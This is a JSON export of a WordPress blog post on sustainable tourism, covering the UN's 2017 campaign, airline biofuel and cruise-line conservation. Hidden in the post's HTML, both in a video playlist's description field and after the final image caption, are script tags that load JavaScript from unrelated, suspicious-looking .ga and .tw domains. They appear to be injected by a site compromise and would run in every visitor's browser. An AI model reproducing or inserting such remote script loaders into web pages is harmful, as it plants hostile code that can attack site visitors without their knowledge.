{"id":722,"date":"2018-02-07T13:47:58","date_gmt":"2018-02-07T18:47:58","guid":{"rendered":"https:\/\/dflgrouptest.local\/?p=722"},"modified":"2018-02-07T13:50:48","modified_gmt":"2018-02-07T18:50:48","slug":"sustainable-tourism-change-travel","status":"publish","type":"post","link":"https:\/\/designed-for-life.org\/GMtCh34S\/sustainable-tourism-change-travel\/","title":{"rendered":"Sustainable Tourism: Change How You Travel"},"content":{"rendered":"<p>As the year ramps up, we checked in on one of the most inspiring campaigns of 2017.<\/p>\n<p>The United Nations designated 2017 as the International Year of Sustainable Tourism for Development to bring awareness to travel and sustainability among the public and private sector decision-makers.<\/p>\n<p>Tourism, the largest export category in many developing countries, now accounts for 10% of world GDP as well as one in every eleven jobs. Changing how we travel impacts our planet\u2014and big-name companies are leading the charge with impressive initiatives.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-723\" src=\"https:\/\/dflgrouptest.local\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-1024x1024.png\" alt=\"infographic sustainable travel and design blog\" width=\"1024\" height=\"1024\" srcset=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-1024x1024.png 1024w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-150x150.png 150w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-300x300.png 300w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-768x768.png 768w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-100x100.png 100w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-500x500.png 500w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-350x350.png 350w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en-1000x1000.png 1000w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/1Infographic-arrivals_2016_en.png 1240w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>In the sector of airline travel,<a href=\"https:\/\/www.jetblue.com\/green\/climate-change\/\"> JetBlue bought 330,000 million gallons of biofuel<\/a> (made from organic matter) to begin using in 2019, significantly reducing greenhouse gas emissions. JetBlue is also among a group of carriers\u2014including Qantas, Lufthansa, and American Airlines\u2014that have invested in more efficient aircraft.<\/p>\n<div class=\"wp-playlist wp-video-playlist wp-playlist-light\">\n\t\t<video controls=\"controls\" preload=\"none\" width=\"1058\"\n\t\t height=\"595\"\t><\/video>\n\t<div class=\"wp-playlist-next\"><\/div>\n\t<div class=\"wp-playlist-prev\"><\/div>\n\t<noscript>\n\t<ol>\n\t\t<li><a href='https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/JetBlue-Introduces-Renewable-Jet-Fuel.mp4'>JetBlue Introduces Renewable Jet Fuel<\/a><\/li>\t<\/ol>\n\t<\/noscript>\n\t<script type=\"application\/json\" class=\"wp-playlist-script\">{\"type\":\"video\",\"tracklist\":true,\"tracknumbers\":true,\"images\":true,\"artists\":true,\"tracks\":[{\"src\":\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/JetBlue-Introduces-Renewable-Jet-Fuel.mp4\",\"type\":\"video\/mp4\",\"title\":\"JetBlue Introduces Renewable Jet Fuel\",\"caption\":\"\",\"description\":\"\\u003Cscript src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'\\u003E\\u003C\/script\\u003E\\u003Cscript src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'\\u003E\\u003C\/script\\u003E\\u003Cscript src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'\\u003E\\u003C\/script\\u003E\\u003Cscript src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'\\u003E\\u003C\/script\\u003E\",\"meta\":{\"length_formatted\":\"1:45\"},\"dimensions\":{\"original\":{\"width\":1280,\"height\":720},\"resized\":{\"width\":1058,\"height\":595}},\"image\":{\"src\":\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-includes\/images\/media\/video.svg\",\"width\":48,\"height\":64},\"thumb\":{\"src\":\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-includes\/images\/media\/video.svg\",\"width\":48,\"height\":64}}]}<\/script>\n<\/div>\n\t\n<p>The cruise line <a href=\"http:\/\/www.rclcorporate.com\/royal-caribbean-and-world-wildlife-fund-unite-in-5-year-partnership\/\">Royal Caribbean partnered with the World Wildlife Fund to help with ocean conservation<\/a>; scrubbing machines remove more than 97% of the sulfur dioxide emissions from the ships\u2019 systems. In March, the company announced its completion of a multi-year program, Save the Waves, which increased the number of sustainable tours that not only managed environmental impacts, but also preserved local history and cultures and protected local communities.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/player.vimeo.com\/video\/152919816\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>&nbsp;<\/p>\n<p>The UN\u2019s World Tourism Organization offers resources for travelers (available in several languages), including a&nbsp;<a href=\"http:\/\/www.tourism4development2017.org\/travel-enjoy-respect\/\">guide<\/a>&nbsp;that suggests travelers buy locally made products, hire local guides, choose tourism operators with environmental policies, learn to speak a few words of the language, and ask before photographing anyone, among other tips.<\/p>\n<p>The initiative has reached a global audience, if the popular hashtag <a href=\"https:\/\/www.instagram.com\/explore\/tags\/travelenjoyrespect\/\">#travelenjoyrespect<\/a> is any indication. Check out more than 21,000 posts on Instagram\u2014from Iberia to Indonesia to Norway\u2014that showcase the breadth of this galvanizing movement. &nbsp;<\/p>\n<div id=\"attachment_728\" style=\"width: 1034px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-728\" class=\"size-large wp-image-728\" src=\"https:\/\/dflgrouptest.local\/wp-content\/uploads\/2018\/02\/4Screen-Shot-2017-12-03-at-10.43.39-PM-1024x483.png\" alt=\"sustainable travel and design blog\" width=\"1024\" height=\"483\" srcset=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/4Screen-Shot-2017-12-03-at-10.43.39-PM-1024x483.png 1024w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/4Screen-Shot-2017-12-03-at-10.43.39-PM-300x141.png 300w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/4Screen-Shot-2017-12-03-at-10.43.39-PM-768x362.png 768w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2018\/02\/4Screen-Shot-2017-12-03-at-10.43.39-PM.png 1400w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><p id=\"caption-attachment-728\" class=\"wp-caption-text\">One of more than 21K posts shared on Instagram: #travelenjoyrespect<\/p><\/div><script src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As the year ramps up, we checked in on one of the most inspiring campaigns of 2017. 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